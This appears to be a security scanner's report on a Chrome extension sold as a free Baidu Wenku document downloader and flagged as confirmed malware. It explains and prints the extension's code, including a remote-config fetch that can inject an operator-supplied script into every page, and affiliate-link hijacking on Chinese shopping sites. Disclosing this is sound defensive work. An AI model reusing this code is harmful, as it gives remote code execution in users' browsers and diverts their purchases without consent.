Security Alert: Confirmed Malware
百度文库免费下载
ID: imjoocoajfjgnabmlbgpcnpieibibhmd
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- djradarView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
百度文档免下载券免费下载，可以导出PDF文字和图片，能屏蔽文档中的广告，支持Word、PPT、PDF文档
只要能试读的页面都能下载到，能分页下载完整的文档，非常稳定可靠。
The extension fetches a remote configuration from `https://i.wuhaolin.cn/c/config` on every page load (if the cached config is more than 24 hours old). After storing the config, it checks `i.script` — if the remote server ever populates this field with a URL, a `<script>` element is injected into the `<body>` of every page the user visits. The `script` property is currently empty in the baked-in default config, but the remote operator can flip it at any time without a Chrome Web Store update, giving them persistent arbitrary-code execution in the browser on all sites.
function s() { return Object(r.b)(this, void 0, void 0, (function() { var e, t; return Object(r.c)(this, (function(n) { switch (n.label) { case 0: return n.trys.push([0, 3, , 4]), [4, fetch("https://i.wuhaolin.cn/c/config")]; case 1: return [4, n.sent() .json() ]; case 2: return e = n.sent() .data, chrome.storage.local.set({ cps_config: JSON.stringify(e), cps_updated: Date.now() }), [3, 4]; case 3: return n.sent(), [3, 4]; case 4: return i.script && ((t = document.createElement("script")) .src = i.script, document.body.appendChild(t)), [2] } })) }))}Module 4 hard-codes the extension's affiliate-link-injection configuration: a map of Chinese e-commerce domains (jd.com, jd.hk, taobao.com, tmall.com, tmall.hk, suning.com) with product-ID-extraction regexes, and the affiliate API endpoint `https://i.wuhaolin.cn/c/url`. This config is the foundation of the hidden monetization behavior — completely undisclosed to users and unrelated to the advertised Baidu Wenku download functionality.
e.exports = JSON.parse( '{"h":{"jd.com":{"item.jd.com":"^https?://item\\\\.jd\\\\.com/(\\\\d+)\\\\.html"},"jd.hk":{...},"taobao.com":{...},"tmall.com":{...},"suning.com":{...}},"cpsApi":"https://i.wuhaolin.cn/c/url","script":""}')When a user scrolls a supported e-commerce page, the extension queries the operator's affiliate API (`https://i.wuhaolin.cn/c/url`) with the product name, product ID, and source site. The returned URL becomes the replacement `href` for every matching product link on the page. This silently routes user purchases through the operator's affiliate tracking, monetising user shopping activity without consent or disclosure.
return t = e.name, n = Object(r.d)(e, ["name"]), [4, fetch(l.cpsApi + "?" + (s = Object(r.a) (Object(r.a)({}, n), { q: t, v: f.a }), u = [], Object.keys(s) .forEach((function(e) { null != s[e] && u.push(encodeURIComponent(e) + "=" + encodeURIComponent(s[e])) })), u.join("&")))];case 1: return i = a.sent(), o = e, [4, i.text()];case 2: return o.cpsUrl = a.sent(), [2]All anchor elements whose `href` matches a product URL pattern on targeted e-commerce sites are mutated: their `href` is replaced with the affiliate redirect URL, `rel` is set to `noreferrer` to obscure the referrer chain, the original `onclick` is cleared, and click propagation is suppressed so the site's own analytics cannot observe the click. This is a classic affiliate-link-hijacking implementation that generates revenue for the extension operator from every user purchase.
document.querySelectorAll("a[href*='" + n + "']") .forEach((function(t) { var n = t.href, o = r.exec(n); o && 2 == o.length && (i[n] ? i[n].links.push(t) : i[n] = { from: e, id: o[1], links: [t] }) })), Object.keys(i) .forEach((function(e) { var t = i[e]; g({ url: e, id: t.id, from: t.from, links: t.links }) })) ... n && t.forEach((function(e) { return function e(t, n) { var r = t.getAttribute("href"); t.href = n, t.rel = "noreferrer", t.onclick = function() {}, t .addEventListener("click", (function(e) { e.stopPropagation() }), !0)By severity
Versions scanned
Showing 1 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.12 | 4 |
Files with findings
1 distinct path — top paths by unique finding count:
- js/content_script.js4
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.